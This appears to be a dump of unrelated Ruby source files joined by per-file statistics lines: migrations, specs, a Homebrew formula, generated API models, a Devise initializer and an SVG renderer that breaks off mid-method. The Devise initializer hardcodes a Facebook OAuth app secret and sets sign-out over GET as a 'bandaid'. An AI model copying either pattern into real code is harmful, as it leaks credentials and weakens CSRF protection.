class CreateTwitterDbStatuses < ActiveRecord::Migration[5.1] def change # I decided not to compress this table for performance reasons. create_table :twitter_db_statuses do |t| t.bigint :uid, null: false t.string :screen_name, null: false t.integer :sequence, null: false t.text :raw_attrs_text, null: false t.timestamps null: false t.index :uid t.index :screen_name t.index :created_at end end end
27.222222
67
0.642857
28423eb8caa5568c3a75e5fe39f5783f28dee6ad
369
require 'spec_helper' describe 'Help Pages', feature: true do describe 'Show SSH page' do before do login_as :user end it 'replace the variable $your_email with the email of the user' do visit help_page_path(filepath: 'ssh/README', format: 'md') expect(page).to have_content("ssh-keygen -t rsa -C \"#{@user.email}\"") end end end
26.357143
77
0.663957
11667675399d76840a97e1d72943106fa267b263
1,693
class JdnssecTools < Formula desc "Java command-line tools for DNSSEC" homepage "https://www.verisignlabs.com/jdnssec-tools/" url "https://www.verisignlabs.com/dnssec-tools/packages/jdnssec-tools-0.12.tar.gz" sha256 "3fa0bfe062051d9048c5186adbb04d8f5e176e50da3cdcf9b0d97e1c558efc22" head "https://github.com/dblacka/jdnssec-tools.git" bottle do cellar :any_skip_relocation sha256 "7cce99f2ac4fc2f3572b6f1468e12213a011fecf340ff5fe3dc1cdda9fc6929d" => :sierra sha256 "989a7968915a807b01d46aa7007ffa2c30596b3f1c93527d00760b905fcc10b9" => :el_capitan sha256 "c4a33ea5bff8ff14d8438a1dddb62da5983611d64288cd1e057b4c5419a58a87" => :yosemite sha256 "e5899718ae9f0b57628ecbb0bc5e6d338e7847e2a0f931992849e4c27ffc6edf" => :mavericks sha256 "9f87e73931c928a4b490f7a9dd858c40abde1d51f83f1c63a2212a520e8552e2" => :mountain_lion end depends_on :java def install inreplace Dir["bin/*"], /basedir=.*/, "basedir=#{libexec}" bin.install Dir["bin/*"] (libexec/"lib").install Dir["lib/*"] end test do (testpath/"powerdns.com.key").write( "powerdns.com. 10773 IN DNSKEY 257 3 8 (AwEAAb/+pXOZWYQ8mv9WM5dFva8 WU9jcIUdDuEjldbyfnkQ/xlrJC5zA EfhYhrea3SmIPmMTDimLqbh3/4SMTNPTUF+9+U1vp NfIRTFadqsmuU9F ddz3JqCcYwEpWbReg6DJOeyu+9oBoIQkPxFyLtIXEPGlQzrynKubn04 Cx83I6NfzDTraJT3jLHKeW5PVc1ifqKzHz5TXdHHTA7NkJAa0sPcZCoNE 1LpnJI/wcUpRU iuQhoLFeT1E432GuPuZ7y+agElGj0NnBxEgnHrhrnZW UbULpRa/il+Cr5Taj988HqX9Xdm 6FjcP4Lbuds/44U7U8du224Q8jTrZ 57Yvj4VDQKc=)" ) assert_match /D4C3D5552B8679FAEEBC317E5F048B614B2E5F607DC57F1553182D49AB2179F7/, shell_output("#{bin}/jdnssec-dstool -d 2 powerdns.com.key") end end
42.325
95
0.786769
ed010282c8accbd52ffa52310bf40f222d3f1c6f
375
lib_dir = File.expand_path(File.join(File.dirname(__FILE__), '../../lib')) if File.exist?(File.join(lib_dir, 'daemons.rb')) $LOAD_PATH.unshift lib_dir else begin; require 'rubygems'; rescue ::Exception; end end require 'daemons' options = { :log_output => true, :backtrace => true } Daemons.run(File.join(File.dirname(__FILE__), 'myserver_crashing.rb'), options)
22.058824
79
0.709333
eddc584f265038556e379cd67f3b1342bea6bf51
395
describe EhjobAuthentication do describe '.config' do it 'inits Configs obj' do EhjobAuthentication.configure do |config| config.eh_url = 'http://www.employmenthero.com' end config = EhjobAuthentication.config expect(config).to be_instance_of(EhjobAuthentication::Config) expect(config.eh_url).to eq 'http://www.employmenthero.com' end end end
28.214286
67
0.703797
d5c0f92b76189fdaa2bf02f5997095ca266067f9
17,514
=begin #NSX-T Data Center Policy API #VMware NSX-T Data Center Policy REST API OpenAPI spec version: 3.1.0.0.0 Generated by: https://github.com/swagger-api/swagger-codegen.git Swagger Codegen version: 2.4.19 =end require 'date' module NSXTPolicy # Bidirectional Forwarding Detection configuration for BGP peers class BfdProfile # Link to this resource attr_accessor :_self # The server will populate this field when returing the resource. Ignored on PUT and POST. attr_accessor :_links # Schema for this resource attr_accessor :_schema # The _revision property describes the current revision of the resource. To prevent clients from overwriting each other's changes, PUT operations must include the current _revision of the resource, which clients should obtain by issuing a GET operation. If the _revision provided in a PUT request is missing or stale, the operation will be rejected. attr_accessor :_revision # Indicates system owned resource attr_accessor :_system_owned # Defaults to ID if not set attr_accessor :display_name # Description of this resource attr_accessor :description # Opaque identifiers meaningful to the API user attr_accessor :tags # ID of the user who created this resource attr_accessor :_create_user # Protection status is one of the following: PROTECTED - the client who retrieved the entity is not allowed to modify it. NOT_PROTECTED - the client who retrieved the entity is allowed to modify it REQUIRE_OVERRIDE - the client who retrieved the entity is a super user and can modify it, but only when providing the request header X-Allow-Overwrite=true. UNKNOWN - the _protection field could not be determined for this entity. attr_accessor :_protection # Timestamp of resource creation attr_accessor :_create_time # Timestamp of last modification attr_accessor :_last_modified_time # ID of the user who last modified this resource attr_accessor :_last_modified_user # Unique identifier of this resource attr_accessor :id # The type of this resource. attr_accessor :resource_type # Absolute path of this object attr_accessor :path # Path of its parent attr_accessor :parent_path # This is a UUID generated by the GM/LM to uniquely identify entites in a federated environment. For entities that are stretched across multiple sites, the same ID will be used on all the stretched sites. attr_accessor :unique_id # Path relative from its parent attr_accessor :relative_path # subtree for this type within policy tree containing nested elements. attr_accessor :children # Global intent objects cannot be modified by the user. However, certain global intent objects can be overridden locally by use of this property. In such cases, the overridden local values take precedence over the globally defined values for the properties. attr_accessor :overridden # Intent objects are not directly deleted from the system when a delete is invoked on them. They are marked for deletion and only when all the realized entities for that intent object gets deleted, the intent object is deleted. Objects that are marked for deletion are not returned in GET call. One can use the search API to get these objects. attr_accessor :marked_for_delete # Time interval between heartbeat packets in milliseconds. attr_accessor :interval # Declare dead multiple. Number of times heartbeat packet is missed before BFD declares the neighbor is down. attr_accessor :multiple # Attribute mapping from ruby-style variable name to JSON key. def self.attribute_map { :'_self' => :'_self', :'_links' => :'_links', :'_schema' => :'_schema', :'_revision' => :'_revision', :'_system_owned' => :'_system_owned', :'display_name' => :'display_name', :'description' => :'description', :'tags' => :'tags', :'_create_user' => :'_create_user', :'_protection' => :'_protection', :'_create_time' => :'_create_time', :'_last_modified_time' => :'_last_modified_time', :'_last_modified_user' => :'_last_modified_user', :'id' => :'id', :'resource_type' => :'resource_type', :'path' => :'path', :'parent_path' => :'parent_path', :'unique_id' => :'unique_id', :'relative_path' => :'relative_path', :'children' => :'children', :'overridden' => :'overridden', :'marked_for_delete' => :'marked_for_delete', :'interval' => :'interval', :'multiple' => :'multiple' } end # Attribute type mapping. def self.swagger_types { :'_self' => :'SelfResourceLink', :'_links' => :'Array<ResourceLink>', :'_schema' => :'String', :'_revision' => :'Integer', :'_system_owned' => :'BOOLEAN', :'display_name' => :'String', :'description' => :'String', :'tags' => :'Array<Tag>', :'_create_user' => :'String', :'_protection' => :'String', :'_create_time' => :'Integer', :'_last_modified_time' => :'Integer', :'_last_modified_user' => :'String', :'id' => :'String', :'resource_type' => :'String', :'path' => :'String', :'parent_path' => :'String', :'unique_id' => :'String', :'relative_path' => :'String', :'children' => :'Array<ChildPolicyConfigResource>', :'overridden' => :'BOOLEAN', :'marked_for_delete' => :'BOOLEAN', :'interval' => :'Integer', :'multiple' => :'Integer' } end # Initializes the object # @param [Hash] attributes Model attributes in the form of hash def initialize(attributes = {}) return unless attributes.is_a?(Hash) # convert string to symbol for hash key attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v } if attributes.has_key?(:'_self') self._self = attributes[:'_self'] end if attributes.has_key?(:'_links') if (value = attributes[:'_links']).is_a?(Array) self._links = value end end if attributes.has_key?(:'_schema') self._schema = attributes[:'_schema'] end if attributes.has_key?(:'_revision') self._revision = attributes[:'_revision'] end if attributes.has_key?(:'_system_owned') self._system_owned = attributes[:'_system_owned'] end if attributes.has_key?(:'display_name') self.display_name = attributes[:'display_name'] end if attributes.has_key?(:'description') self.description = attributes[:'description'] end if attributes.has_key?(:'tags') if (value = attributes[:'tags']).is_a?(Array) self.tags = value end end if attributes.has_key?(:'_create_user') self._create_user = attributes[:'_create_user'] end if attributes.has_key?(:'_protection') self._protection = attributes[:'_protection'] end if attributes.has_key?(:'_create_time') self._create_time = attributes[:'_create_time'] end if attributes.has_key?(:'_last_modified_time') self._last_modified_time = attributes[:'_last_modified_time'] end if attributes.has_key?(:'_last_modified_user') self._last_modified_user = attributes[:'_last_modified_user'] end if attributes.has_key?(:'id') self.id = attributes[:'id'] end if attributes.has_key?(:'resource_type') self.resource_type = attributes[:'resource_type'] end if attributes.has_key?(:'path') self.path = attributes[:'path'] end if attributes.has_key?(:'parent_path') self.parent_path = attributes[:'parent_path'] end if attributes.has_key?(:'unique_id') self.unique_id = attributes[:'unique_id'] end if attributes.has_key?(:'relative_path') self.relative_path = attributes[:'relative_path'] end if attributes.has_key?(:'children') if (value = attributes[:'children']).is_a?(Array) self.children = value end end if attributes.has_key?(:'overridden') self.overridden = attributes[:'overridden'] else self.overridden = false end if attributes.has_key?(:'marked_for_delete') self.marked_for_delete = attributes[:'marked_for_delete'] else self.marked_for_delete = false end if attributes.has_key?(:'interval') self.interval = attributes[:'interval'] else self.interval = 500 end if attributes.has_key?(:'multiple') self.multiple = attributes[:'multiple'] else self.multiple = 3 end end # Show invalid properties with the reasons. Usually used together with valid? # @return Array for valid properties with the reasons def list_invalid_properties invalid_properties = Array.new if !@display_name.nil? && @display_name.to_s.length > 255 invalid_properties.push('invalid value for "display_name", the character length must be smaller than or equal to 255.') end if [email protected]? && @description.to_s.length > 1024 invalid_properties.push('invalid value for "description", the character length must be smaller than or equal to 1024.') end if [email protected]? && @interval > 60000 invalid_properties.push('invalid value for "interval", must be smaller than or equal to 60000.') end if [email protected]? && @interval < 50 invalid_properties.push('invalid value for "interval", must be greater than or equal to 50.') end if [email protected]? && @multiple > 16 invalid_properties.push('invalid value for "multiple", must be smaller than or equal to 16.') end if [email protected]? && @multiple < 2 invalid_properties.push('invalid value for "multiple", must be greater than or equal to 2.') end invalid_properties end # Check to see if the all the properties in the model are valid # @return true if the model is valid def valid? return false if !@display_name.nil? && @display_name.to_s.length > 255 return false if [email protected]? && @description.to_s.length > 1024 return false if [email protected]? && @interval > 60000 return false if [email protected]? && @interval < 50 return false if [email protected]? && @multiple > 16 return false if [email protected]? && @multiple < 2 true end # Custom attribute writer method with validation # @param [Object] display_name Value to be assigned def display_name=(display_name) if !display_name.nil? && display_name.to_s.length > 255 fail ArgumentError, 'invalid value for "display_name", the character length must be smaller than or equal to 255.' end @display_name = display_name end # Custom attribute writer method with validation # @param [Object] description Value to be assigned def description=(description) if !description.nil? && description.to_s.length > 1024 fail ArgumentError, 'invalid value for "description", the character length must be smaller than or equal to 1024.' end @description = description end # Custom attribute writer method with validation # @param [Object] interval Value to be assigned def interval=(interval) if !interval.nil? && interval > 60000 fail ArgumentError, 'invalid value for "interval", must be smaller than or equal to 60000.' end if !interval.nil? && interval < 50 fail ArgumentError, 'invalid value for "interval", must be greater than or equal to 50.' end @interval = interval end # Custom attribute writer method with validation # @param [Object] multiple Value to be assigned def multiple=(multiple) if !multiple.nil? && multiple > 16 fail ArgumentError, 'invalid value for "multiple", must be smaller than or equal to 16.' end if !multiple.nil? && multiple < 2 fail ArgumentError, 'invalid value for "multiple", must be greater than or equal to 2.' end @multiple = multiple end # Checks equality by comparing each attribute. # @param [Object] Object to be compared def ==(o) return true if self.equal?(o) self.class == o.class && _self == o._self && _links == o._links && _schema == o._schema && _revision == o._revision && _system_owned == o._system_owned && display_name == o.display_name && description == o.description && tags == o.tags && _create_user == o._create_user && _protection == o._protection && _create_time == o._create_time && _last_modified_time == o._last_modified_time && _last_modified_user == o._last_modified_user && id == o.id && resource_type == o.resource_type && path == o.path && parent_path == o.parent_path && unique_id == o.unique_id && relative_path == o.relative_path && children == o.children && overridden == o.overridden && marked_for_delete == o.marked_for_delete && interval == o.interval && multiple == o.multiple end # @see the `==` method # @param [Object] Object to be compared def eql?(o) self == o end # Calculates hash code according to all attributes. # @return [Fixnum] Hash code def hash [_self, _links, _schema, _revision, _system_owned, display_name, description, tags, _create_user, _protection, _create_time, _last_modified_time, _last_modified_user, id, resource_type, path, parent_path, unique_id, relative_path, children, overridden, marked_for_delete, interval, multiple].hash end # Builds the object from hash # @param [Hash] attributes Model attributes in the form of hash # @return [Object] Returns the model itself def build_from_hash(attributes) return nil unless attributes.is_a?(Hash) self.class.swagger_types.each_pair do |key, type| if type =~ /\AArray<(.*)>/i # check to ensure the input is an array given that the attribute # is documented as an array but the input is not if attributes[self.class.attribute_map[key]].is_a?(Array) self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) }) end elsif !attributes[self.class.attribute_map[key]].nil? self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]])) end # or else data not found in attributes(hash), not an issue as the data can be optional end self end # Deserializes the data based on type # @param string type Data type # @param string value Value to be deserialized # @return [Object] Deserialized data def _deserialize(type, value) case type.to_sym when :DateTime DateTime.parse(value) when :Date Date.parse(value) when :String value.to_s when :Integer value.to_i when :Float value.to_f when :BOOLEAN if value.to_s =~ /\A(true|t|yes|y|1)\z/i true else false end when :Object # generic object (usually a Hash), return directly value when /\AArray<(?<inner_type>.+)>\z/ inner_type = Regexp.last_match[:inner_type] value.map { |v| _deserialize(inner_type, v) } when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/ k_type = Regexp.last_match[:k_type] v_type = Regexp.last_match[:v_type] {}.tap do |hash| value.each do |k, v| hash[_deserialize(k_type, k)] = _deserialize(v_type, v) end end else # model temp_model = NSXTPolicy.const_get(type).new temp_model.build_from_hash(value) end end # Returns the string representation of the object # @return [String] String presentation of the object def to_s to_hash.to_s end # to_body is an alias to to_hash (backward compatibility) # @return [Hash] Returns the object in the form of hash def to_body to_hash end # Returns the object in the form of hash # @return [Hash] Returns the object in the form of hash def to_hash hash = {} self.class.attribute_map.each_pair do |attr, param| value = self.send(attr) next if value.nil? hash[param] = _to_hash(value) end hash end # Outputs non-array value in the form of hash # For object, use to_hash. Otherwise, just return the value # @param [Object] value Any valid value # @return [Hash] Returns the value in the form of hash def _to_hash(value) if value.is_a?(Array) value.compact.map { |v| _to_hash(v) } elsif value.is_a?(Hash) {}.tap do |hash| value.each { |k, v| hash[k] = _to_hash(v) } end elsif value.respond_to? :to_hash value.to_hash else value end end end end
34.408644
508
0.634407
1aa4432d100ef11898d1518ab9eb9a7ff2949e33
172
require 'test_helper' class TextToTenantControllerTest < ActionController::TestCase # Replace this with your real tests. test "the truth" do assert true end end
19.111111
61
0.761628
1d8fe44030951bd7d1e425a5bd10060fcebf94fb
1,510
module NetSuite module Records class MatrixOptionList # Deals with both hash and arrays of attributes[:matrix_option_list] # # Hash: # # <listAcct:matrixOptionList> # <listAcct:matrixOption internalId="47" scriptId="custitem15"> # <platformCore:value internalId="2" typeId="36"/> # </listAcct:matrixOption> # </listAcct:matrixOptionList> # # Array: # # <listAcct:matrixOptionList> # <listAcct:matrixOption internalId="45" scriptId="custitem13"> # <platformCore:value internalId="4" typeId="28"/> # </listAcct:matrixOption> # <listAcct:matrixOption internalId="46" scriptId="custitem14"> # <platformCore:value internalId="1" typeId="29"/> # </listAcct:matrixOption> # </listAcct:matrixOptionList> # def initialize(attributes = {}) case attributes[:matrix_option] when Hash options << OpenStruct.new( type_id: attributes[:matrix_option][:value][:'@type_id'], value_id: attributes[:matrix_option][:value][:'@internal_id'] ) when Array attributes[:matrix_option].each do |option| options << OpenStruct.new( type_id: option[:value][:'@type_id'], value_id: option[:value][:'@internal_id'] ) end end end def options @options ||= [] end end end end
31.458333
74
0.563576
ff6537d43438592c16508b0d7c39f219bee0180a
680
# frozen_string_literal: true require 'rails_helper' describe RangeGenerator do let!(:question) do { section_start: 'De hoofddoelen', hidden: true, id: :v2, type: :range, min: 23, max: 36, step: 1, title: 'Was het voor jou duidelijk over wie je een vragenlijst invulde?', tooltip: 'some tooltip', labels: ['helemaal niet duidelijk', 'heel duidelijk'], section_end: true } end it_behaves_like 'a generator' describe 'range_slider_minmax' do it 'returns a hash with expected min and max values' do expect(subject.range_slider_minmax(question)).to eq(min: 23, max: 36) end end end
22.666667
79
0.644118
ac39b6096c4bf63b055bec95394ca5818dbea763
254
require 'mkmf' # warnings save lives $CFLAGS << " -Wall " if RbConfig::CONFIG['GCC'] != "" if RUBY_PLATFORM =~ /(mswin|mingw|cygwin|bccwin)/ File.open('Makefile','w'){|f| f.puts "default: \ninstall: " } else create_makefile('posix_spawn_ext') end
21.166667
63
0.665354
1d172979ccc46318dd1142f78f11451874af0c36
15,385
# frozen_string_literal: true # Assuming you have not yet modified this file, each configuration option below # is set to its default value. Note that some are commented out while others # are not: uncommented lines are intended to protect your configuration from # breaking changes in upgrades (i.e., in the event that future versions of # Devise change the default values for those options). # # Use this hook to configure devise mailer, warden hooks and so forth. # Many of these configuration options can be set straight in your model. Devise.setup do |config| # The secret key used by Devise. Devise uses this key to generate # random tokens. Changing this key will render invalid all existing # confirmation, reset password and unlock tokens in the database. # Devise will use the `secret_key_base` as its `secret_key` # by default. You can change it below and use your own secret key. # config.secret_key = 'b2d63237c0fc2bd62fb46a771002f1c7d969415f8d5d2832d3b5c347f289d302002442a55c7af823308e314c860542d74336b7d7352b6ed5011ccd12f0626cd5' # ==> Controller configuration # Configure the parent class to the devise controllers. # config.parent_controller = 'DeviseController' # ==> Mailer Configuration # Configure the e-mail address which will be shown in Devise::Mailer, # note that it will be overwritten if you use your own mailer class # with default "from" parameter. config.mailer_sender = '[email protected]' # Configure the class responsible to send e-mails. # config.mailer = 'Devise::Mailer' # Configure the parent class responsible to send e-mails. # config.parent_mailer = 'ActionMailer::Base' # ==> ORM configuration # Load and configure the ORM. Supports :active_record (default) and # :mongoid (bson_ext recommended) by default. Other ORMs may be # available as additional gems. require 'devise/orm/active_record' # ==> Configuration for any authentication mechanism # Configure which keys are used when authenticating a user. The default is # just :email. You can configure it to use [:username, :subdomain], so for # authenticating a user, both parameters are required. Remember that those # parameters are used only when authenticating and not when retrieving from # session. If you need permissions, you should implement that in a before filter. # You can also supply a hash where the value is a boolean determining whether # or not authentication should be aborted when the value is not present. # config.authentication_keys = [:email] # Configure parameters from the request object used for authentication. Each entry # given should be a request method and it will automatically be passed to the # find_for_authentication method and considered in your model lookup. For instance, # if you set :request_keys to [:subdomain], :subdomain will be used on authentication. # The same considerations mentioned for authentication_keys also apply to request_keys. # config.request_keys = [] # Configure which authentication keys should be case-insensitive. # These keys will be downcased upon creating or modifying a user and when used # to authenticate or find a user. Default is :email. config.case_insensitive_keys = [:email] # Configure which authentication keys should have whitespace stripped. # These keys will have whitespace before and after removed upon creating or # modifying a user and when used to authenticate or find a user. Default is :email. config.strip_whitespace_keys = [:email] # Tell if authentication through request.params is enabled. True by default. # It can be set to an array that will enable params authentication only for the # given strategies, for example, `config.params_authenticatable = [:database]` will # enable it only for database (email + password) authentication. # config.params_authenticatable = true # Tell if authentication through HTTP Auth is enabled. False by default. # It can be set to an array that will enable http authentication only for the # given strategies, for example, `config.http_authenticatable = [:database]` will # enable it only for database authentication. # For API-only applications to support authentication "out-of-the-box", you will likely want to # enable this with :database unless you are using a custom strategy. # The supported strategies are: # :database = Support basic authentication with authentication key + password # config.http_authenticatable = false # If 401 status code should be returned for AJAX requests. True by default. # config.http_authenticatable_on_xhr = true # The realm used in Http Basic Authentication. 'Application' by default. # config.http_authentication_realm = 'Application' # It will change confirmation, password recovery and other workflows # to behave the same regardless if the e-mail provided was right or wrong. # Does not affect registerable. # config.paranoid = true # By default Devise will store the user in session. You can skip storage for # particular strategies by setting this option. # Notice that if you are skipping storage for all authentication paths, you # may want to disable generating routes to Devise's sessions controller by # passing skip: :sessions to `devise_for` in your config/routes.rb config.skip_session_storage = [:http_auth] # By default, Devise cleans up the CSRF token on authentication to # avoid CSRF token fixation attacks. This means that, when using AJAX # requests for sign in and sign up, you need to get a new CSRF token # from the server. You can disable this option at your own risk. # config.clean_up_csrf_token_on_authentication = true # When false, Devise will not attempt to reload routes on eager load. # This can reduce the time taken to boot the app but if your application # requires the Devise mappings to be loaded during boot time the application # won't boot properly. # config.reload_routes = true # ==> Configuration for :database_authenticatable # For bcrypt, this is the cost for hashing the password and defaults to 12. If # using other algorithms, it sets how many times you want the password to be hashed. # The number of stretches used for generating the hashed password are stored # with the hashed password. This allows you to change the stretches without # invalidating existing passwords. # # Limiting the stretches to just one in testing will increase the performance of # your test suite dramatically. However, it is STRONGLY RECOMMENDED to not use # a value less than 10 in other environments. Note that, for bcrypt (the default # algorithm), the cost increases exponentially with the number of stretches (e.g. # a value of 20 is already extremely slow: approx. 60 seconds for 1 calculation). config.stretches = Rails.env.test? ? 1 : 12 # Set up a pepper to generate the hashed password. # config.pepper = '0c901947e19abd2d56beefa94ef851efd03d62a6cee95943c25a499559fad45da5f20e21ab5cc403cd0b0a1cc3e6ae3d2238f235d76224952e5a0a7bcf66e734' # Send a notification to the original email when the user's email is changed. # config.send_email_changed_notification = false # Send a notification email when the user's password is changed. # config.send_password_change_notification = false # ==> Configuration for :confirmable # A period that the user is allowed to access the website even without # confirming their account. For instance, if set to 2.days, the user will be # able to access the website for two days without confirming their account, # access will be blocked just in the third day. # You can also set it to nil, which will allow the user to access the website # without confirming their account. # Default is 0.days, meaning the user cannot access the website without # confirming their account. # config.allow_unconfirmed_access_for = 2.days # A period that the user is allowed to confirm their account before their # token becomes invalid. For example, if set to 3.days, the user can confirm # their account within 3 days after the mail was sent, but on the fourth day # their account can't be confirmed with the token any more. # Default is nil, meaning there is no restriction on how long a user can take # before confirming their account. # config.confirm_within = 3.days # If true, requires any email changes to be confirmed (exactly the same way as # initial account confirmation) to be applied. Requires additional unconfirmed_email # db field (see migrations). Until confirmed, new email is stored in # unconfirmed_email column, and copied to email column on successful confirmation. config.reconfirmable = true # Defines which key will be used when confirming an account # config.confirmation_keys = [:email] # ==> Configuration for :rememberable # The time the user will be remembered without asking for credentials again. # config.remember_for = 2.weeks # Invalidates all the remember me tokens when the user signs out. config.expire_all_remember_me_on_sign_out = true # If true, extends the user's remember period when remembered via cookie. # config.extend_remember_period = false # Options to be passed to the created cookie. For instance, you can set # secure: true in order to force SSL only cookies. # config.rememberable_options = {} # ==> Configuration for :validatable # Range for password length. config.password_length = 6..128 # Email regex used to validate email formats. It simply asserts that # one (and only one) @ exists in the given string. This is mainly # to give user feedback and not to assert the e-mail validity. config.email_regexp = /\A[^@\s]+@[^@\s]+\z/ # ==> Configuration for :timeoutable # The time you want to timeout the user session without activity. After this # time the user will be asked for credentials again. Default is 30 minutes. # config.timeout_in = 30.minutes # ==> Configuration for :lockable # Defines which strategy will be used to lock an account. # :failed_attempts = Locks an account after a number of failed attempts to sign in. # :none = No lock strategy. You should handle locking by yourself. # config.lock_strategy = :failed_attempts # Defines which key will be used when locking and unlocking an account # config.unlock_keys = [:email] # Defines which strategy will be used to unlock an account. # :email = Sends an unlock link to the user email # :time = Re-enables login after a certain amount of time (see :unlock_in below) # :both = Enables both strategies # :none = No unlock strategy. You should handle unlocking by yourself. # config.unlock_strategy = :both # Number of authentication tries before locking an account if lock_strategy # is failed attempts. # config.maximum_attempts = 20 # Time interval to unlock the account if :time is enabled as unlock_strategy. # config.unlock_in = 1.hour # Warn on the last attempt before the account is locked. # config.last_attempt_warning = true # ==> Configuration for :recoverable # # Defines which key will be used when recovering the password for an account # config.reset_password_keys = [:email] # Time interval you can reset your password with a reset password key. # Don't put a too small interval or your users won't have the time to # change their passwords. config.reset_password_within = 6.hours # When set to false, does not sign a user in automatically after their password is # reset. Defaults to true, so a user is signed in automatically after a reset. # config.sign_in_after_reset_password = true # ==> Configuration for :encryptable # Allow you to use another hashing or encryption algorithm besides bcrypt (default). # You can use :sha1, :sha512 or algorithms from others authentication tools as # :clearance_sha1, :authlogic_sha512 (then you should set stretches above to 20 # for default behavior) and :restful_authentication_sha1 (then you should set # stretches to 10, and copy REST_AUTH_SITE_KEY to pepper). # # Require the `devise-encryptable` gem when using anything other than bcrypt # config.encryptor = :sha512 # ==> Scopes configuration # Turn scoped views on. Before rendering "sessions/new", it will first check for # "users/sessions/new". It's turned off by default because it's slower if you # are using only default views. # config.scoped_views = false # Configure the default scope given to Warden. By default it's the first # devise role declared in your routes (usually :user). # config.default_scope = :user # Set this configuration to false if you want /users/sign_out to sign out # only the current scope. By default, Devise signs out all scopes. # config.sign_out_all_scopes = true # ==> Navigation configuration # Lists the formats that should be treated as navigational. Formats like # :html, should redirect to the sign in page when the user does not have # access, but formats like :xml or :json, should return 401. # # If you have any extra navigational formats, like :iphone or :mobile, you # should add them to the navigational formats lists. # # The "*/*" below is required to match Internet Explorer requests. # config.navigational_formats = ['*/*', :html] # The default HTTP method used to sign out a resource. Default is :delete. config.sign_out_via = :get #bandaid # The default HTTP method used to create a forgiveness. Default is :put. # config.forgive_via = :get # ==> OmniAuth # Add a new OmniAuth provider. Check the wiki for more information on setting # up on your models and hooks. # config.omniauth :github, 'APP_ID', 'APP_SECRET', scope: 'user,public_repo' config.omniauth :facebook, "912362889562400", "6e49681e820861fb8a4e9dd50c487b17" # ==> Warden configuration # If you want to use other strategies, that are not supported by Devise, or # change the failure app, you can configure them inside the config.warden block. # # config.warden do |manager| # manager.intercept_401 = false # manager.default_strategies(scope: :user).unshift :some_external_strategy # end # ==> Mountable engine configurations # When using Devise inside an engine, let's call it `MyEngine`, and this engine # is mountable, there are some extra configurations to be taken into account. # The following options are available, assuming the engine is mounted as: # # mount MyEngine, at: '/my_engine' # # The router that invoked `devise_for`, in the example above, would be: # config.router_name = :my_engine # # When using OmniAuth, Devise cannot automatically set OmniAuth path, # so you need to do it manually. For the users scope, it would be: # config.omniauth_path_prefix = '/my_engine/users/auth' # ==> Turbolinks configuration # If your app is using Turbolinks, Turbolinks::Controller needs to be included to make redirection work correctly: # # ActiveSupport.on_load(:devise_failure_app) do # include Turbolinks::Controller # end # ==> Configuration for :registerable # When set to false, does not sign a user in automatically after their password is # changed. Defaults to true, so a user is signed in automatically after changing a password. # config.sign_in_after_change_password = true end
48.686709
154
0.752681
d5151cc15146b7751fc9e40aec0826997ce77daf
2,848
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::ContainerInstance::Mgmt::V2018_04_01 module Models # # The container group list response that contains the container group # properties. # class ContainerGroupListResult include MsRestAzure include MsRest::JSONable # @return [Array<ContainerGroup>] The list of container groups. attr_accessor :value # @return [String] The URI to fetch the next page of container groups. attr_accessor :next_link # return [Proc] with next page method call. attr_accessor :next_method # # Gets the rest of the items for the request, enabling auto-pagination. # # @return [Array<ContainerGroup>] operation results. # def get_all_items items = @value page = self while page.next_link != nil && !page.next_link.strip.empty? do page = page.get_next_page items.concat(page.value) end items end # # Gets the next page of results. # # @return [ContainerGroupListResult] with next page content. # def get_next_page response = @next_method.call(@next_link).value! unless @next_method.nil? unless response.nil? @next_link = response.body.next_link @value = response.body.value self end end # # Mapper for ContainerGroupListResult class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'ContainerGroupListResult', type: { name: 'Composite', class_name: 'ContainerGroupListResult', model_properties: { value: { client_side_validation: true, required: false, serialized_name: 'value', type: { name: 'Sequence', element: { client_side_validation: true, required: false, serialized_name: 'ContainerGroupElementType', type: { name: 'Composite', class_name: 'ContainerGroup' } } } }, next_link: { client_side_validation: true, required: false, serialized_name: 'nextLink', type: { name: 'String' } } } } } end end end end
28.48
80
0.534761
0818cf9f35a61996259d3a4a538a697ee0cd5adf
93
class Management::DashboardsController < Management::BaseController def index end end
15.5
67
0.784946
1d155324bb4cd696219215aeabe7208bdd9a3696
3,355
# frozen_string_literal: true require "erb" require "nokogiri" module Archimate module Svg class Diagram attr_reader :diagram attr_reader :svg_doc attr_reader :options DEFAULT_SVG_OPTIONS = { legend: false, format_xml: true }.freeze def initialize(diagram, options = {}) @diagram = diagram @options = DEFAULT_SVG_OPTIONS.merge(options) @svg_template = Nokogiri::XML(SvgTemplate.new.to_s).freeze end def to_svg @svg_doc = @svg_template.clone set_title render_connections( render_elements(archimate_diagram_group) ) legend = Legend.new(self) if include_legend? legend.insert else legend.remove end update_viewbox format_node(archimate_diagram_group) if format_xml? format_node(legend_group) if include_legend? && format_xml? svg_doc.to_xml(encoding: 'UTF-8', indent: indentation) end def svg_element @svg_element ||= svg_doc.at_css("svg") end def archimate_diagram_group @archimate_diagram_group ||= svg_doc.at_css("#archimate-diagram") end def legend_group @legend_group ||= svg_doc.at_css("#archimate-legend") end def include_legend? options[:legend] end def format_xml? options[:format_xml] end def indentation format_xml? ? 2 : 0 end def set_title svg_doc.at_css("title").content = diagram.name || "untitled" svg_doc.at_css("desc").content = diagram.documentation.to_s || "" end # Scan the SVG and figure out min & max def update_viewbox extents = calculate_max_extents.expand(10) svg_element.set_attribute(:width, extents.width) svg_element.set_attribute(:height, extents.height) svg_element.set_attribute("viewBox", "#{extents.min_x} #{extents.min_y} #{extents.width} #{extents.height}") svg_element end def format_node(node, depth = 4) node.children.each do |child| child.add_previous_sibling("\n#{' ' * depth}") format_node(child, depth + 2) child.add_next_sibling("\n#{' ' * (depth - 2)}") if node.children.last == child end end def calculate_max_extents node_vals = svg_element .xpath("//*[@x or @y]") .map { |node| %w[x y width height].map { |attr| node.attr(attr).to_i } } svg_element.css(".archimate-relationship") .each do |path| path.attr("d").split(" ").each_slice(3) do |point| node_vals << [point[1].to_i, point[2].to_i, 0, 0] end end Extents.new( node_vals.map(&:first).min, node_vals.map { |v| v[0] + v[2] }.max, node_vals.map { |v| v[1] }.min, node_vals.map { |v| 